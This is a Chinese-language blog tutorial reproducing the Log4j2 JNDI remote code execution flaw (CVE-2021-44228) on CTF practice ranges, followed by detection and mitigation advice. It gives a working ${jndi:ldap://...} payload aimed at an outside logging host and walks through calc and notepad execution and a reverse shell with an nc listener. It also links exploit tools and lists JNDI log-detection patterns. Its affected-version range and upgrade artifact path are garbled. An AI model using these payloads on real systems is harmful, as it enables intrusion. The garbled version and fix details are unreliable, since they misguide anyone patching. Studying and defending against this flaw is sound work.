Apache log4j2-RCE 漏洞復現及修復建議(CVE-2021-44228)
Apache log4j2-RCE 漏洞復現
0x01 漏洞簡介
Apache Log4j2是一個基於Java的日志記錄工具。由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿裡雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。
漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1
,隻需檢測Java應用是否引入 log4j-api , log4j-core 兩個jar。若存在應用使用,極大可能會受到影響。
0x02 環境準備
驗證靶場:
1.CTFshow (https://ctf.show/challenges#Log4j復現-1730)
2.VULFOCUS(http://vulfocus.fofa.so/)
3.掌控安全封神臺(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)
0x03 漏洞驗證(DNSLOG篇)
我們通過JNDI註入請求DNSLOG的惡意語句,如果在DNSLOG端能查看到訪問記錄,則證明遠程代碼執行漏洞存在
我們CTFshow的靶場來做後續驗證
我們直接在登錄框輸入惡意代碼:
${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}
然後我們成功在DNSLOG端查看到訪問記錄,證實這裡漏洞存在
0x04 漏洞驗證(遠程代碼執行彈計算器&記事本篇)
在這裡我們需要準備好一臺有公網IP的VPS,然後在服務器端一個惡意代碼類exploit.class(將惡意代碼類通過javac編譯得到)、一個LDAP服務器log4j.jar(為運行方便,將LADPRefServer.java打包成jar包上傳到服務器)
本地端需要準備好一個LDAP客戶端(含log4j2執行代碼)
首先我們在服務器端開啟LDAP服務端口監聽,我這裡設置的是7912端口
開啟LDAP服務
然後我們隻需要在本地運行LDAP客戶端(含log4j2錯誤調用的代碼)
由於我們在惡意代碼裡執行的測試命令是notepad和calc
不出意外的彈出瞭記事本和計算器
0x05 漏洞深度利用(反彈shell)
在這裡我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來生成payload
工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
然後使用如下網址來加密反彈shell命令
加密網址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反彈shell方法:
https://www.freebuf.com/articles/system/178150.html
我這裡綁定的是服務器的9999端口(別忘瞭在服務器安全配置和寶塔安全配置開啟端口)
然後我們就獲得瞭payload
之後我們在服務器開啟對於9999端口的監聽
nc -lvnp 9999
然後我們在靶場框輸入我們的惡意payload
點擊提交之後我們發現反彈shell成功
0x06 影響范圍及排查方法
影響范圍:
使用瞭log4j的組件並且版本在3.x <= 2.14.1
排查方法:
1.pom版本檢查
2.可以通過檢查日志中是否存在”jndi:ldap://”、”jndi:rmi”等字符來發現可能的攻擊行為
3.檢查日志中是否存在相關的堆棧報錯,堆棧裡是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi調用相關的堆棧信息
4.各種安全產品
自查工具:
https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh
需要註意的是並不是所有的使用瞭log4j2的項目|客戶端都會受到影響:
0x07 修復建議
官方方案:
1、將Log4j框架升級到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2
2、臨時方案
1、升級JDK
2、修改log4j配置
①設置參數:
log4j2.formatMsgNoLookups=True
②修改jvm參數:
-Dlog4j2.formatMsgNoLookups=true
③系統環境變量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設置為true
④禁止log4j2所在的服務器外連
3、使用安全產品防護:WAF、RASP
0x08 涉及資源
https://www.icode9.com/content-4-1255614.html
https://github.com/welk1n/JNDI-Injection-Exploit
https://www.jackson-t.ca/runtime-exec-payloads.html
https://chowdera.com/2021/12/202112102325553772.html
https://github.com/bkfish/Apache-Log4j-Learning
https://www.freebuf.com/articles/system/178150.html
https://github.com/fengxuangit/log4j_vuln
http://vulfocus.fofa.so/#/dashboard
到此這篇關於Apache log4j2-RCE 漏洞復現(CVE-2021-44228)的文章就介紹到這瞭,更多相關Apache log4j2-RCE 漏洞內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- 最新log4j2遠程代碼執行漏洞(附解決方法)
- Apache Log4j2 報核彈級漏洞快速修復方法
- Java RMI引起的log4j漏洞問題重現
- 在麒麟V10服務器上編譯安裝Storm的詳細過程
- Windows Server 2019 Web服務IIS配置與管理理論篇(術語解釋、工作原理與常見的WEB服務器)